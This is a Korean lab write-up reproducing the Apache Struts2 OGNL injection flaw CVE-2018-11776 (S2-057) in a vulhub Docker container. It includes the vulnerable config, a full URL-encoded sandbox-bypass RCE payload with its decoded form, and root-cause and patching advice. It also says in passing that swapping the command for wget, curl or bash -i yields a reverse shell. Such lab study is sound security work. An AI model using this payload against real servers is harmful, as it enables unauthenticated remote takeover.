Apache Struts2의 URL 매핑 처리 취약점(S2-057)을 Docker 환경에서 재현하고, OGNL 인젝션을 통해 원격 코드 실행(RCE)까지 도달한 실습 기록.
PR 링크: kr-vulhub #311
취약점 개요
CVE-2018-11776은 Apache Struts2 프레임워크의 URL 매핑 처리 과정에서 발생하는 OGNL(Object-Graph Navigation Language) 인젝션 취약점이다. CVSS 점수 10.0, 즉 최고 심각도로 분류됐다.
영향받는 버전: Struts 2.3.x (2.3.35 미만), Struts 2.5.x (2.5.17 미만)
취약점이 발생하는 조건은 두 가지다. alwaysSelectFullNamespace가 true로 설정되어 있고, action 설정에 namespace가 명시되지 않았거나 와일드카드(/*)로 설정된 경우다. 이 조건에서 Struts2는 URL의 namespace 부분을 OGNL 표현식으로 평가하는데, 공격자가 URL에 ${...} 형태의 OGNL 코드를 삽입하면 서버에서 그대로 실행된다.
웹 프레임워크 레벨에서 URL 자체가 코드 실행 경로가 된다는 점에서, 일반적인 입력값 검증 우회와는 결이 다른 취약점이다.
환경 구축
vulhub에서 제공하는 취약한 Struts2 이미지를 기반으로 구성했다.
yaml
# docker-compose.yml
version: '2'
services:
struts2:
image: vulhub/struts2:2.3.34-showcase
volumes:
- ./struts-actionchaining.xml:/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts-actionchaining.xml
ports:
- "8080:8080"핵심은 struts-actionchaining.xml을 컨테이너 내부에 마운트하는 부분이다. 이 파일이 취약한 설정을 주입한다.
xml
<!-- struts-actionchaining.xml -->
<struts>
<package name="actionchaining" extends="struts-default">
<action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
<result type="redirectAction">
<param name="actionName">register2</param>
</result>
</action>
</package>
</struts>이 설정의 문제는 namespace가 명시되지 않은 것이다. namespace가 없으면 Struts2는 URL에서 namespace를 추론하려 하고, 그 과정에서 URL 내 OGNL 표현식이 평가된다.
bash
docker-compose uphttp://localhost:8080/showcase/ 접속으로 동작 확인 후 PoC를 진행했다.

PoC: 단계별 공격 재현
Step 1: OGNL 인젝션 동작 확인
먼저 산술 연산이 실행되는지로 OGNL 인젝션 여부를 검증했다.
bash
curl -i "http://localhost:8080/struts2-showcase/%24%7B233*233%7D/actionChain1.action"URL 디코딩하면 ${233*233}이다. 서버가 이를 OGNL로 평가한다면 233 × 233 = 54289가 계산되고, 응답의 Location 헤더에 /54289/로 리다이렉트 경로가 나타난다.
HTTP/1.1 302 Found
Location: /54289/register2.action54289가 Location 헤더에 출력되면 OGNL 인젝션 성공이다. 서버가 URL의 namespace 부분을 코드로 실행했다.

Step 2: 원격 코드 실행 (RCE)
OGNL 인젝션이 확인됐으면 실제 OS 명령어를 실행하는 단계로 넘어간다. Struts2의 OGNL 샌드박스를 우회하기 위해 SecurityMemberAccess를 무력화하는 페이로드를 사용했다.
bash
curl -i "http://localhost:8080/struts2-showcase/%24%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B'struts.valueStack'%5D.context).(%23cr%3D%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec('id')).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action"URL 디코딩하면 실제 페이로드 구조가 보인다:
${
(#[email protected]@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()). // 패키지 제한 해제
(#ou.getExcludedClasses().clear()). // 클래스 제한 해제
(#ct.setMemberAccess(#dm)). // 접근 제한 무력화
(#[email protected]@getRuntime().exec('id')). // OS 명령 실행
(@org.apache.commons.io.IOUtils@toString(#a.getInputStream())) // 결과 반환
}단계적으로 보면, 먼저 OGNL의 기본 멤버 접근 설정(DEFAULT_MEMBER_ACCESS)을 가져와서 현재 컨텍스트에 적용하고, OgnlUtil의 제외 패키지/클래스 목록을 비워서 샌드박스를 무력화한다. 그 다음 java.lang.Runtime을 직접 호출해 id 명령을 실행하고, IOUtils.toString()으로 결과를 문자열로 변환해서 응답에 포함시킨다.
결과:
uid=0(root) gid=0(root) groups=0(root)컨테이너 내부에서 root로 임의 명령이 실행됐다. id 대신 wget, curl, bash -i 같은 명령으로 교체하면 리버스 쉘 획득이나 추가 페이로드 다운로드로 이어진다.


취약점의 본질: 왜 URL이 코드가 됐는가
이 취약점이 흥미로운 이유는 공격 벡터가 URL 자체라는 점이다. 입력 폼이나 HTTP 파라미터가 아니라, 요청 경로(path)가 코드 실행 경로가 됐다.
Struts2는 URL의 namespace를 설정 파일에서 찾지 못하면 URL을 그대로 평가하려 한다. 이 "평가"가 OGNL 인터프리터를 거친다. 개발자가 편의를 위해 와일드카드 namespace를 쓰거나 아예 생략한 설정이, 프레임워크 내부의 OGNL 평가 로직과 만나면서 임의 코드 실행으로 이어진다.
Struts2는 이전에도 S2-045(CVE-2017-5638, Content-Type 헤더를 통한 OGNL 인젝션)로 대규모 공격에 악용된 전력이 있다. 같은 프레임워크에서 같은 계열의 취약점이 반복되는 패턴이다. OGNL이라는 표현식 언어가 설계상 강력한 기능을 가지면서, 그 기능이 사용자 입력과 만나는 지점의 통제가 반복적으로 문제가 됐다.
보안 관점에서의 시사점
공격자 입장에서 이 취약점은 인증 없이 HTTP 요청 하나로 서버 장악이 가능하다. WAF가 없다면 탐지도 어렵다. URL 인코딩으로 페이로드를 쉽게 변형할 수 있어서 단순 시그니처 기반 탐지를 우회할 수 있다.
방어 입장에서 근본적인 대응은 버전 업그레이드다. Struts 2.3.35 또는 2.5.17 이상으로 패치하면 된다. 설정 수준에서는 alwaysSelectFullNamespace를 false로 유지하고, 모든 action에 명시적으로 namespace를 지정하는 것이 중요하다. 와일드카드 namespace는 사용하지 않는 것이 원칙이다.
운영 환경에서는 Apache Struts2를 사용하는 시스템이 아직 남아있는 경우가 있다. 레거시 Java 웹 애플리케이션에서 특히 그렇다. 취약점 공개 시점이 2018년이지만, 지금도 공격에 활용되는 이유다.
실습 환경: Docker(vulhub/struts2:2.3.34-showcase), CVE-2018-11776 (S2-057)
PR: github.com/gunh0/kr-vulhub/pull/311